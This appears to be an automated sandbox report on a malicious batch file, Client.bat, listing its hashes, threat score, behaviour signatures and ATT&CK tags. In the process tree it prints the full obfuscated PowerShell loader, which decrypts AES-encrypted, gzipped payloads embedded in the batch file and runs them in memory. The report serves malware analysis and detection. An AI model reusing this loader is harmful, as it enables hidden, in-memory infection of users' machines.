1731919d2dc81ad27833aaaf162c923c8c0e9ec12f0517c7db0409b74e9550c6

Analysis

max time kernel
119s
max time network
139s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
01-07-2024 18:28

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General

Target

zvgfd-main/Client.bat
Size

1.6MB
MD5

439120f796ed4977f594bea8bd82cf31
SHA1

4584ec947309d2c0d3aa0b7af99a74e914649f1f
SHA256

a2ef6988f4d2669de231d1857b5fb9b64d0069252db3c017498a065f2d1574cc
SHA512

605f0958b42a350f9b4a01cfb47e17d6d095a4a299ad182c537016d5fb1e83c3860d4141cae74242644504aac6b3b5378e6c4551b1bba918bb793fe8e883a49b
SSDEEP

24576:JlkfZfen9VM4J5pHntF5rAkcVYymcJQy+DFayCGw/+MjKOqfVZ8gl5fMR/wXR9D5:JwfenPM4jFX16Y0QXS/+MuOECE6dQ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1884 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

3032 cmd.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1884 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1884 powershell.exe

pid	process
1884	powershell.exe

pid	process
3032	cmd.exe

pid	process
1884	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1884	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 3032 wrote to memory of 1884	3032	cmd.exe	powershell.exe
PID 3032 wrote to memory of 1884	3032	cmd.exe	powershell.exe
PID 3032 wrote to memory of 1884	3032	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Client.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:3032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xJw0qxbvy2e5E+kymgZPIMGoA6fqk1en/iSXbiH7YCA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('koOlFjUNdaFTz7/D0mS0pg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EAeaN=New-Object System.IO.MemoryStream(,$param_var); $exKaE=New-Object System.IO.MemoryStream; $SIYdw=New-Object System.IO.Compression.GZipStream($EAeaN, [IO.Compression.CompressionMode]::Decompress); $SIYdw.CopyTo($exKaE); $SIYdw.Dispose(); $EAeaN.Dispose(); $exKaE.Dispose(); $exKaE.ToArray();}function execute_function($param_var,$param2_var){ $hIoGB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NhWqy=$hIoGB.EntryPoint; $NhWqy.Invoke($null, $param2_var);}$WzOZn = 'C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Client.bat';$host.UI.RawUI.WindowTitle = $WzOZn;$QigrC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($WzOZn).Split([Environment]::NewLine);foreach ($mmglW in $QigrC) { if ($mmglW.StartsWith(':: ')) { $fLOwg=$mmglW.Substring(3); break; }}$payloads_var=[string[]]$fLOwg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/1884-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download
memory/1884-5-0x000000001B3B0000-0x000000001B692000-memory.dmp

Filesize
2.9MB

Download
memory/1884-6-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/1884-7-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-11-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-12-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download